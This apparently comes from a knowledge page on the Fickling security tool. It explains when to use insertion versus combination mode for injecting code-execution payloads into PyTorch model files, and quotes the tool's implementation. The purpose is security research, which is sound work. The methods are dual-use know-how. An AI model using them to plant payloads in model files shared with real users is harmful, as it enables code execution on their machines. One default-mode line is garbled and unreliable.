Heuristic:Trailofbits Fickling Injection Mode Selection
| Knowledge Sources | |
|---|---|
| Domains | Security, Security_Research |
| Last Updated | 2026-02-14 13:00 GMT |
Overview
Decision framework for choosing between insertion and combination injection modes when injecting payloads into PyTorch model files for security research.
Description
Fickling's `PyTorchModelWrapper.inject_payload()` supports two injection modes that differ in how the payload interacts with the original model data. The choice of mode determines whether the injected payload can bypass weight-based unpicklers and whether the original model functionality is preserved.
Usage
Use this heuristic when performing security research or red team exercises that require injecting code into PyTorch model files. The injection mode determines the attack surface and detection profile of the resulting payload.
The Insight (Rule of Thumb)
- Insertion mode (`injection="insertion"`):
- Action: Injects Python execution opcodes directly into the existing `data.pkl` within the ZIP archive.
- Trade-off: Does NOT bypass weight-based unpicklers (e.g., PyTorch's `weights_only=True`). The original pickle structure is modified in-place.
- Best for: Testing static analysis tools like fickling itself; the injection is visible at the pickle opcode level.
- Combination mode (`injection="combination"`):
- Action: Wraps the original model in a `BaseInjection` class whose `__reduce__` returns `eval(payload)`, then saves with `torch.save()`.
- Trade-off: Creates a completely new pickle structure. The original model becomes a nested attribute. Requires PyTorch to create.
- Best for: Testing `torch.load()` consumers that do not use `weights_only=True`; the payload executes via `__reduce__`.
- Default: Use `injection="all"` is not a valid option; choose one explicitly.
Reasoning
The two modes target different points in the deserialization pipeline:
Insertion modifies the pickle bytecode directly by calling `pickled.insert_python_exec(payload)`. This adds opcodes to the existing stream. A weights-based unpickler that only allows tensor reconstruction functions will reject these extra opcodes.
Combination creates an entirely new model object (`BaseInjection`) that wraps the original model. The `__reduce__` method returns `(eval, (payload,))`, so the payload runs when the object is reconstructed. This exploits the fundamental pickle deserialization mechanism rather than injecting extra opcodes.
Code evidence from `fickling/pytorch.py:134-151`:
if injection == "insertion":
# This does NOT bypass the weights based unpickler
pickled = self.pickled
pickled.insert_python_exec(payload)
# Create a new ZIP file to store the modified data
with zipfile.ZipFile(output_path, "w") as new_zip_ref:
with zipfile.ZipFile(self.path, "r") as zip_ref:
for item in zip_ref.infolist():
with zip_ref.open(item.filename) as entry:
if item.filename.endswith("/data.pkl"):
new_zip_ref.writestr(item.filename, pickled.dumps())
else:
new_zip_ref.writestr(item.filename, entry.read())
if injection == "combination":
injected_model = BaseInjection(self.pickled, payload)
torch.save(injected_model, output_path)
The inline comment `# This does NOT bypass the weights based unpickler` is critical tribal knowledge that is not documented anywhere else.